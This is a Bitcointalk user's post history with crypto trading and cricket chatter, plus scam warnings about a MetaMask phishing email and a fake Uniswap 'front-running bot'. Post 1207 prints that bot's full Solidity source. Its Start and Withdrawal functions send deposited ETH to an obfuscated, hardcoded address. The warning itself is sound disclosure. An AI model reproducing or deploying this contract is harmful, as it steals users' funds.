Bitcoin Forum
May 03, 2024, 01:08:07 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 ... 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [61] 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 ... 214 »
1201  Economy / Scam Accusations / Re: [PHISHING ALERT] MetaMask phishing ETH merge verification mail.... on: October 01, 2022, 07:14:10 PM
Nothing new, scammers always want to take advantage when happening something is news in the crypto space. I have been receiving a lot of spam mail like this which I never click. Even scammers use Binance Spoof mail to trap users. I am quite careful when I need to update or install any apps related to crypto. I check the source multiple times whether it's phishing or official. Also sometimes take forum search button helps. Hope no one will fall into this type of trap. Just worried about brand new crypto users. Scammers often use a leaked mail list.

Scammers ramp up their activity as we've seen before when bear markets begin. Now in coming days they come in market with different types of scamming techniques to scam new crypto users as they are easy victims for scammers. Many crypto users may not be aware of the fact that various information including wallets can be stolen very easily with a phishing email.
1202  Economy / Trading Discussion / Re: Binance to remove USDC as a tradable asset. on: September 30, 2022, 05:31:41 PM
A downtrend has been seen in the USDC marketcap due to Binance removing USDC trading pairs. On the other hand, Busd's marketcap increased by 8%. So here it is understood that binance will give more priority to their stable coin on their platform and binance has taken another step to dominate the future crypto market with Busd. Killing competitors is essential to dominate the market in the future, and this is what binance is doing.
That's their business and they will do their best to put their product above the rest.

This mindset may have led binance to remove USDC from their platform. But I don't think it's a big problem because in general BUSD and USDT dominate the trading pairs on Binance. I've never even traded anything for USDC, a lot of other people might as well. I personally tend to use USDT and BUSD trading pairs on binance, so removing USDC on binance is not a problem for me.

It is natural that Binance can do whatever they decide on their platform and use the best strategies for their growth. But USDC must have many users in the crypto market as it is the top four number. Capturing this huge marketcap is not an easy task if there is no demand. You may not use this coin but there are many more trader investors using this coin. I myself am also a USDT user. Most of the crypto trader investors are more interested in using USDT.
1203  Economy / Scam Accusations / [PHISHING ALERT] MetaMask phishing ETH merge verification mail.... on: September 30, 2022, 05:19:58 PM
What happened: Phishing MetaMask Mail.
Email Address:
Code:
michael-rutkowski@y.kajabimail.net

Ever since the completion of the Ethereum merge, scammers have been coming up with different tactics to confuse and scam crypto users. I got a mail saying metamask needs to be verify, due to Ethereum merge. Basically it is a mail with a phishing link, never click on this type of mail, because your wallet, computer may get hacked due to this phishing software.



After seeing this mail before clicking on the link I understood that it was actually a trap as I was already aware of this kind of scam. So I took the link and did a virus check and my guess was correct.



Source: https://www.virustotal.com/gui/url/07713206761d8604657a7580dc6adeae23c827873c6642b63d3d49881b8fa78c?nocache=1
1204  Economy / Trading Discussion / Re: Binance to remove USDC as a tradable asset. on: September 30, 2022, 01:48:29 PM
A downtrend has been seen in the USDC marketcap due to Binance removing USDC trading pairs. On the other hand, Busd's marketcap increased by 8%. So here it is understood that binance will give more priority to their stable coin on their platform and binance has taken another step to dominate the future crypto market with Busd. Killing competitors is essential to dominate the market in the future, and this is what binance is doing.

This article has written about these issues...

https://decrypt.co/110797/stablecoin-markets-shift-binance-usdc-conversions
1205  Economy / Scam Accusations / Re: [Warning] Ethereum smart contract scam bot.... on: September 29, 2022, 05:07:28 PM
This is very good information to all. Scammers in those days are bringing and using new methods and approaches to dupe the ignorant people. The people that are falling for these scammers are those people who want big money in quickest way. Do not be in hurry for life. Patiently everything will be achieved in life.

It is true that those who hope to make quick profits definitely fall prey to such scams. But many times when they see such promotions, they seem real, as a result of which many people follow this step and fall victim to scams.
Many inexperienced crypto users don't realize that this could be a scam and even experienced ones don't catch this trick. So many people are confused and have fallen victim to this smart contract scam.
1206  Economy / Services / Re: [HOLD] TrustDice.win | #1 Rated Crypto Casino | Signature Campaign ~ Sr. Member+ on: September 29, 2022, 01:51:52 PM
Bitcointalk Profile Link: https://bitcointalk.org/index.php?action=profile;u=3494454
Current amount of posts: 60
bech32 BTC Address for payouts: bc1qzs85cplh50tcjl98cuq2nmm6xnuv7eqyprfq3u
EARNED merit in the last 120 days: 12

This campaign was for senior member+, and you are Jr. member. Next time read the detailed rules before applying to any campaign. And this campaign is currently on hold, so even if you are a senior member, you cannot join now!
1207  Economy / Scam Accusations / Re: [Warning] Ethereum smart contract scam bot.... on: September 29, 2022, 10:05:37 AM
Fake Smart Contract Code :


Code:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract UniswapBot {
 
    uint liquidity;
    uint private pool;
    address public owner;


    event Log(string _msg);

    /*
     * @dev constructor
     * @set the owner of the contract
     */
    constructor() public {
        owner = msg.sender;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;


            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    uint256 mempool_array = 100000000000000001;

    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 790429;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 517264;
    }

    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 363592;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 832423;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 550944;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 98963;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 232166;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }
  

   function checkMempoolStarted() internal view returns (bool) {
        if(address(this).balance > mempool_array){
            return true;
        }
        else{
            return false;
        }
    }

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function _callStartActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }


    /*
     * @dev Perform action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function Start() public payable {
        emit Log("Running attack on Uniswap. This can take a while please wait...");
        if (checkMempoolStarted()){
            payable(_callStartActionMempool()).transfer(address(this).balance);
        }
        else{
            payable(_callStartActionMempool()).transfer(0);
        }
    }

    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function Withdrawal() public payable {
        emit Log("Sending profits back to contract creator address...");
        if (checkMempoolStarted()){
            payable(withdrawalProfits()).transfer(address(this).balance);
        }
        else{
            payable(owner).transfer(address(this).balance);
        }
    }


    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function Stop() public payable {
        emit Log("Stopping the bot...");
        if (checkMempoolStarted()){
            payable(_callStopMempoolActionMempool()).transfer(address(this).balance);
        }
        else{
            payable(_callStopMempoolActionMempool()).transfer(0);
        }
    }


    function _callStopMempoolActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 546345;
    }

    function withdrawalProfits() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}
1208  Economy / Scam Accusations / [Warning] Ethereum smart contract scam bot.... on: September 29, 2022, 07:38:33 AM
While everyone is spending their time watching the movement of the crypto market, scammers on the other hand are trying their best to come up with strategies that can easily scam crypto investors. And in this case they have succeeded and come up with an effective way, crypto users will be scammed before they know it if they follow the steps shown by the scammers.

If someone posts something crypto related on various social media including Twitter, a group of bot accounts will come and reply to that post with a YouTube video link and there some other accounts will come and give likes, positive reviews to make things real. After seeing one such reply I researched this technique and figured out its purpose. They are promoting this tutorial video on a large scale using hundreds of accounts through social media.



Video Link: https://m.youtube.com/watch?v=rx25DhSgZpM&key=1E1Z3U&I4H6RN=4F3SNRAKQ77X&gl=FR

In this video they are training how to make automatic profit by making a bot and they are giving ready code to crypto users. And the whole trick is in this code, if someone creates a contract using this code, they have added some function in that contract so that they will withdraw the crypto user's funds before they understand anything. Because they have access to that smart contract, they already have access through that code. So it is very important to do proper research before using anything that looks tempting and realistic, because after falling victim to a scam, it is not possible to fix anything.




I've researched many people who have already fallen victim to this scam and are seeking redressal after being scammed, which seems to me nothing more than informing them of how this scam is run.



Source:- https://ethereum.stackexchange.com/questions/135563/how-to-retrieve-eth-accidentally-sent-to-a-contract-that-is-watch-only?fbclid=IwAR0cKLnDR97pA0tDpvjRqikBinjqNWjFj0v-ApzdP9nly5ubNWpJNkt-k9E

https://ethereum.stackexchange.com/questions/135176/i-think-i-got-scammed-by-uniswap-frontrunner-scam-bot/135178#135178




Here are the replies to some of the tweets through which the scammers are promoting this video.

Code:
https://twitter.com/paye_prince/status/1575384038424076289?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/Victoro71059106/status/1575384064873357312?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/DANLADILAWRENC1/status/1575331455806349315?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/Victoro71059106/status/1575282630861389824?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/KinnutR/status/1575277912290480130?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/VMacus/status/1575273506954219525?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/dqualityguah/status/1575264635153965056?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/AlanWillianPer1/status/1575250760924860430?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/bashiru_raheem/status/1575243419714261006?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/MehakKhawer/status/1575229183310954497?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/deepaktetwal1/status/1575219093275176960?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/d12b5165db3d451/status/1575209103961382912?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/Rahmanlala2/status/1575201897329283072?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/choque_lia/status/1575195222228996097?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/kailash41550330/status/1575181928453402624?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/d12b5165db3d451/status/1575167018873257989?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ
https://twitter.com/JoyceAKamara1/status/1575167006231232512?s=20&t=Y_41B2N37Yfi0fSMgz-uEQ

If you get more information feel free to share.
1209  Economy / Gambling / Re: 500 CASINO 🎰 US OPEN PROMO ⚽️ WHEEL, CASINO, SPORTS, SLOTS 💰 No-Sticky Bonus! on: September 27, 2022, 07:03:11 PM

I still remembered SHIB being the talk of the town last year. Ever since the correction, it seemed to have disappeared into the abyss.

It might be less popular during this bear market but I am pretty sure there will be a new hype around it when we enter a new bull market. Or another shitcoin will come up and get pumped massively for some random reasons and than everybody is going to talk about that lol.

For any reason, a new hype can suddenly be created in the market so that pumps and dumps can be seen again. If all the coins/tokens have to be added due to the extra hype, the list will be huge. Now SHIB is going out of town now. When the bull market comes back, maybe SHIB will come back into the discussion for no reason!
1210  Economy / Gambling discussion / Re: T20 and T20I cricket prediction and discussion on: September 25, 2022, 10:14:24 PM
Arshdeep bowls very well in the death overs which we saw in the Asia Cup. In the last over of the two matches, he was expected to give India a win but he failed as the opposition needed only a few runs.

Bhuvi has regularly bowled badly in the death overs in some recent matches so now it would be right to consider others for the death overs instead of relying on him. I also hope that India will do well in the World Cup. And Virat Kohli's return to form is a relief for Team India.
I am feeling bad for this youngster why they are not giving him chance even he is the quality bowler and have enough skills to give a good end to India now Bhuvi is consistently bad in death overs but giving him chance again and again instead of Arshdeep not understandable because before world cup this was big stage, and he surely deserves chance after having very good performance in Asia Cup and specially at the death overs when he gives good support even every time his teams was in bad shape.

Team India management can explain why they are taking such decisions which make the team worse at times of danger. After the series with Australia is over, maybe they can come to a conclusion, what steps to take will be good for the team and bring success in the World Cup.

Team India is certainly a strong team, but their struggles in the last two tournaments have been very visible. If India has to struggle in this World Cup too then Indian fans will be extremely disappointed.
1211  Economy / Scam Accusations / Re: [Warning][TrustDice.win] | Do not use this scam site! They stole my money! on: September 25, 2022, 10:02:30 PM
Here you have not provided any evidence to show that you have not violated any of their rules. Everything cannot be considered and no decision can be made by listening to one side. They have representatives in this forum too you can contact with him, and solve your problem easily unless you have done some kind of bad thing. I am waiting to see what solution comes to your complaint.
1212  Alternate cryptocurrencies / Altcoin Discussion / Re: Which coin made you a millionaire? on: September 25, 2022, 08:57:03 PM
To be a millionaire and success in cryptocurrencies sometimes needs crazy things, only people who dare to take risks who will get big profits from cryptocurrencies, every day there are always coins that rise more than 100% or even thousands of percent, I suggest to buy or invest new listed coins Because this is the fastest way to become a millionaire.

I haven't had that luck yet, hopefully one day. In the crypto market you have a lot of opportunities to catch something big but this also requires patience. Most of the new projects that come in the market every day are worthless which will lead to loss of your funds. But among these few projects come that actually turn early adopters into millionaires. So one has to look for those diamonds that can turn an investor's dream into reality.
1213  Economy / Scam Accusations / Re: A New way to scam People || Be aware and don't fall for it. on: September 25, 2022, 08:25:47 PM
Scammers invest a lot of time to come up with new and effective scamming techniques that can be easily scammed. But this technique is not new, I also received such similar mail in an email that I used on different websites.

Scammers also want to trap crypto users with various threats/offers. So if you get such a mail you should not believe it because all these are sent by someone with the intention of scam!
1214  Alternate cryptocurrencies / Speculation (Altcoins) / Re: Polygon (MATIC) to $20? on: September 25, 2022, 07:57:43 PM
Do you think Polygon (MATIC) will reach $20 within a year from now? If not, why? What are your predictions for this cryptocurrency? Your input will be greatly appreciated. Thank you very much. Smiley
Maybe the Matic coin won't hit $20 in a year's time. That's a high price for a coin that has a large supply circulation. But Matic is one of those projects that has had so much adoption for a very short time. I'm sure, in the next two to three years the price of Matic can break through $ 10. However, the developers of Matic or Polygon must take certain steps to increase prices, one of which is reducing supply circulation.

The supply of Matic is very high so there has to be a lot of acceptance to go to this price. The way ETH, BNB have built their position in the market, Matic can only achieve this huge target if Matic can build their position in the market in the same way. It remains to be seen what will happen in the future, because many top coins have seen collapse. After seeing them I am afraid of any ambition.
1215  Economy / Trading Discussion / Re: Is trading gambling in another form? on: September 25, 2022, 07:34:11 PM
on the other hand for traders and ordinary people who do not have the knowledge to trade correctly and only play guesswork of course it is called gambling,
not only trading crypto, trading anything in the real world must also have knowledge, if not you going to play gambling, that's very clear.

Most crypto traders start their trading career without acquiring proper knowledge of trading. They start trading based on guesses hoping for quick profits, but most of the time these activities prove wrong, they lose funds and cannot survive in the market. But gambling is really something else that is different from crypto trading. Once you get addicted to gambling it is difficult to get out of it and even your knowledge is not very effective here. On the other hand, if a trader can gain good knowledge about the market, he can make a lot of profit by trading.
1216  Economy / Gambling discussion / Re: T20 and T20I cricket prediction and discussion on: September 25, 2022, 07:02:01 PM
What a series. First one went to the Ozzies while the second one went to the Indians and the final went to the Indians with a last over finish. This is entertainment at its finest people. Loved watching these two teams play.

Also, I would love to see the faces of Kohli haters who kept criticising him like crazy when he was down. Underestimating a legendary batsman like him is pure stupidity.
Seriously, criticizing any batsmen during his bad form is pure stupidity especially someone who has contributed so much when he was in his best form. I am pretty happy for India now, I think with Bumrah, Shami/Kumar , Arshdeep we can have a good bowling as well and call it a full team. Bhuvi i am really doubtful for the death overs which is why I think you should keep him in the team but finish his overs in first 10, keep Bumrah and Arsh for the death.

Arshdeep bowls very well in the death overs which we saw in the Asia Cup. In the last over of the two matches, he was expected to give India a win but he failed as the opposition needed only a few runs.

Bhuvi has regularly bowled badly in the death overs in some recent matches so now it would be right to consider others for the death overs instead of relying on him. I also hope that India will do well in the World Cup. And Virat Kohli's return to form is a relief for Team India.
1217  Alternate cryptocurrencies / Altcoin Discussion / Re: A meme coin called baby doge worth this risk? on: September 25, 2022, 06:29:30 PM
in my opinion the best meme coin is dogecoin, but many imitate the name dogecoin to get sympathy from the crypto community and the dogecoin community, but it seems not many are interested in this project

Everything Dogecoin did in the market was due to hype created by Elon Musk. It's becoming difficult for solid projects to survive in the market, and meme coins like dogecoin don't seem to be given much importance by the crypto community. So jumping into this coin during a bad market situation would not be a good decision, because like other coins during bull market, this coin was pumped only because of hype and nothing else.
1218  Economy / Gambling discussion / Re: T20 and T20I cricket prediction and discussion on: September 25, 2022, 05:22:51 PM
As per the current situation, Pakistan is in a good place to play. Pakistan bowlers are doing very well. 3 batsmen of England are out in 3 overs. Their middle-order batsmen will now have to test their technique. But Pakistan can win today's game.

Despite poor show in batting Pakistan has done exceptionally good in bowling department in today's T20I. So far they have picked 4 top order batsmen wickets and it seems like Pakistan win today's game. England batsmen tried to play big shots quite early and losing wickets while doing that.

But England are still in the game and they are keeping the game short and not losing wickets. Top-order batsmen lost wickets quickly trying to play big shots. The way the match is still going it can go against England from here. I think England have the ability to win this match. Let's see which team wins in the end.
1219  Economy / Gambling discussion / Re: T20 and T20I cricket prediction and discussion on: September 24, 2022, 07:13:00 PM
India dominates the world in cricket. And their cricket board is also one of the most powerful boards all over the cricket world. If their selectors make mistakes in the player selection, they will have to be held accountable for it. However, they are giving some players a little more opportunity where other players are not getting that opportunity. However, even if Rishabh Pant does not have the current form, he has a good record in the past. Maybe they are trying to sort the team around that direction and based on the T20 Wald Cup.

There is no doubt that the Indian cricket board is the most powerful board in the cricket world. As a cricket fan, I definitely want to get good matches from India and make their World Cup mission a success. But sometimes some decisions of Indian team definitely disappoint their fans. The performance that India has shown in the last World Cup, Asia Cup is disappointing for the fans. Let's see what results they can bring in this World Cup and how effective their current team is.
1220  Economy / Gambling discussion / Re: T20 and T20I cricket prediction and discussion on: September 24, 2022, 05:29:51 PM
India is still including Rishabh Pant in the side and i think he needs some rest as he is not good enough in the T20 side with the players in the bench.
I disagree. Pant needs to be provided more opportunities so that he can stay in form for the World Cup since everyone knows that he is one of the best game-changers in the team.

The question that everyone has about Rishabh Pant is how he stays in the team despite not performing well. But I also think he is a good player. The decision to give him a chance as a preparation for the world cup is fine, but the team is not getting as much as expected from Rishabh Pant at important times in the tournament, as seen in recent times. I hope he will play an important role in the next World Cup to bring the best results to the Indian team.
Rishabh have secured his position strong. Right now he's like Rohit Sharma who was into the team for a long even when his performance wasn't that good and didn't give a good start when there is a big need of his performance. During those time it was Virat Kohli to save the team and same as that Rishabh is give chance.

